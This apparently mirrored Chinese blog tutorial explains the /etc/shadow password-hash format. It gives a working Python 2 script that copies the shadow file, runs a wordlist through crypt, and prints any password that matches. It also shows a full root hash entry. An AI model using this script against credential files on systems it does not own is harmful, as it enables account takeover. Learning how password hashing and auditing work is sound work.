zoukankan      html  css  js  c++  java
  • Python脚本破解Linux口令(crypt模块)

    环境 Kali Linux ,python版本2.7.13 。

    我们利用Linux系统中的 crypt 模块模拟了Linux系统中用户密码的加密,在Windows中是不存在这个库的。

    在Linux系统中,用户的密码被加密存储在了 /etc/shadow 文件中。

    如下是 /etc/shadow中root用户的字段

    root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

    第二个字段是密码部分的,我们把它单独拿出来

    $6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

    密码部分的格式为:$id$salt$encrypted  

    • id是指用的哈希算法,id为1是MD5,id为5是SHA-256,id为6是SHA-512
    • salt 为盐值
    • encrypted 为hash值,这里的hash值是密码和盐值一起加密之后得到的

    在了解了shadow 文件中密码的加密方式之后,我们就可以开始编写python脚本了。

    在编写之前,我们需要准备好密码字典文件 key.txt 。只有当密码字典足够大时,才有可能破解出密码。

    然后我们将 /etc/shadow 文件复制到python脚本所在目录,修改文件名为 shadow.txt

    在编写时,我们创建两个函数:main() 和 testPass() 。main() 函数打开 shadow.txt 文件中的内容,读取其中的用户名字段和密码字段cryptPass。testPass() 函数将密码字段中的 $id$salt 提取出来赋值给 salt 。然后读取 key.txt 中的密码字段,赋值给 word 。再利用Linux系统中python的一个crypt库,将word和salt一起作为参数传进去进行加密,得到 cryptWord 。最后将cryptWord和cryptPass进行对比,如果相等,则这个word就是该用户的密码,否则不是。

    # -*- coding: utf-8 -*-
    """
    Created on Mon Oct 29 15:01:54 2018
    @author: 小谢
    """
    import crypt   ##导入Linux口令加密库
    def testPass(cryptPass):
        salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值,包含$id部分
        dictFile=open('key.txt','r')
        for word in dictFile.readlines():
            word=word.strip("
    ")
            cryptWord=crypt.crypt(word,salt)                   ##将密码字典中的值和盐值一起加密
            if (cryptWord==cryptPass):                           ##判断加密后的数据和密码字段是否相等
                print "[+]Found Password:"+word+"
    "       ##如果相等则打印出来
                return 
        print "[-] Password Not Found.
    "
        return 
    
    def main():
        passFile=open('shadow.txt')
        for line in passFile.readlines():      ##读取文件中的所有内容
            if ":" in line:
                user=line.split(":")[0]                     ##获得用户名
                cryptPass=line.split(":")[1].strip(' ')   ##获得密码字段
                print "[*] Cracking Password for:"+user
                testPass(cryptPass)
    main()
    
    

    脚本运行截图,破解出了用户tom和用户xie的密码。 

  • 相关阅读:
    loj#6433. 「PKUSC2018」最大前缀和(状压dp)
    PKUWC2019游记
    10. Regular Expression Matching
    9. Palindrome Number
    8. String to Integer (atoi)
    7. Reverse Integer
    6. ZigZag Conversion
    5. Longest Palindromic Substring
    4. Median of Two Sorted Arrays
    3. Longest Substring Without Repeating Characters
  • 原文地址:https://www.cnblogs.com/csnd/p/11807868.html
Copyright © 2011-2022 走看看